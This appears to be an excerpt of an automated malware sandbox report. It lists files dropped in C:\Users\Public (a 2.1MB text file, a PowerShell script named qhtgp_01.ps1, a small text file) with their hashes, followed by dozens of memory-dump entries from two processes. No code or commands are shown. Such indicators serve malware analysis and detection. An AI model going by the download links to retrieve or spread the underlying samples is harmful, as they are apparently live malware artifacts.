Path C:\Users\Public\mbddh.txt
Size 2.1MB
SHA256 184e1a7e02f6cbd26cde371e45816ed0ed85c74dd062cdfb3b2588f8dda74301
MD5 71494b2eaa581e5628eb4a8b00b7ebae
SHA1 7c2a6659913231cec2fa33551d82068fc30332c0
SHA512 fd02e3b1b4fee54bc8b57a3c58a58855036cf7d323f438d673738b71a5680a319adb6078f8f2f7fefdbd930a560b1508994612587b4619bb4b61ff6cd4fddbb1
SSDEEP 3072:L+xnh/MD87BLXGR32YAMvpqGW+AgtvYXaWd2gIyfTdCOB7rdwNTwNoiqaxdf0+ny:Z
TLSH
T1BFA5FF3EDFEC462FC277CD2EC9CA4A03F8590927320DE94664D763A75526183BCA216D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qhtgp_01.ps1

Path C:\Users\Public\qhtgp_01.ps1
Size 1KB
SHA256 76c69bf4a5de34cbe74b9a78551584712ad09dca68b4c4a2a382a2f01aecda5b
MD5 8ff7ed27375b4a3966ccda4ebd7a6c51
SHA1 b564bd1b76ac04dbfdd73a3db5eb4e3e82f8593d
SHA512 50f9d04dbd9ca109d108793c49ee67397e054fbb10b6a9d81ab31e90faf9f9b25550397a37d695f135d196de3a98b50c89e27149ede1f374c6457833fe192795
TLSH
T1E7317D606AFA5209B6B35E05AAFF9452487BB67D6D35CB0D0004C24E1BA3A44CCB7F36
MD5 SHA1 SHA512 TLSH

Submit Download

pqvzs.txt

Path \??\c:\users\public\pqvzs.txt
Size 123B
SHA256 8862bfb6ad204f8507959343e7dc828e6cb4a6495e96ef5feeb67784ffd375bf
MD5 6fddde581790abfe7448594bf0473ede
SHA1 0f76dbf907ef097c05bc1582c857d642febe2352
SHA512 4f5b4d155a0d8d862a9882c166f0258ef27cae3a532af3615217f4513251de262b68b9d282e3f0828db344ec1850532a2e0f081c26fe15603ce9abf74a1000a0
TLSH
T1B8B022C22308B0B82B0A28A0A2C8E02880CA00C222F0C0C02B00C3AFBC00A80030038E
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2004-9-0x0000027F50B50000-0x0000027F50B72000-memory.dmp

Download

memory/2004-0-0x0000027F69060000-0x0000027F69070000-memory.dmp

Download

memory/2004-11-0x0000027F69060000-0x0000027F69070000-memory.dmp

Download

memory/2004-10-0x0000027F69060000-0x0000027F69070000-memory.dmp

Download

memory/2004-13-0x0000027F69060000-0x0000027F69070000-memory.dmp

Download

memory/2004-12-0x0000027F69060000-0x0000027F69070000-memory.dmp

Download

memory/2004-29-0x0000027F69060000-0x0000027F69070000-memory.dmp

Download

memory/2004-1-0x0000027F69060000-0x0000027F69070000-memory.dmp

Download

memory/5204-108-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-94-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-31-0x0000024C02760000-0x0000024C027C6000-memory.dmp

Download

memory/5204-32-0x0000024C7EDA0000-0x0000024C7EDB0000-memory.dmp

Download

memory/5204-36-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-50-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-158-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-157-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-154-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-153-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-150-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-148-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-146-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-144-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-142-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-140-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-136-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-132-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-130-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-128-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-126-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-124-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-122-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-121-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-118-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-116-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-114-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-112-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-110-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-18-0x0000024C7EDA0000-0x0000024C7EDB0000-memory.dmp

Download

memory/5204-104-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-102-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-100-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-98-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-96-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-30-0x0000024C7EDA0000-0x0000024C7EDB0000-memory.dmp

Download

memory/5204-92-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-88-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-86-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-84-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-82-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-80-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-78-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-76-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-72-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-70-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-68-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-66-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-64-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-62-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-60-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-58-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-56-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-54-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-48-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-46-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-44-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-42-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-40-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-38-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-138-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-134-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-106-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-90-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-74-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-52-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-34-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-33-0x0000024C02760000-0x0000024C027BF000-memory.dmp

Download

memory/5204-1598-0x0000024C7EDA0000-0x0000024C7EDB0000-memory.dmp

Download

memory/5204-1599-0x0000024C7EDA0000-0x0000024C7EDB0000-memory.dmp

Download

memory/5204-19-0x0000024C7EDA0000-0x0000024C7EDB0000-memory.dmp

Download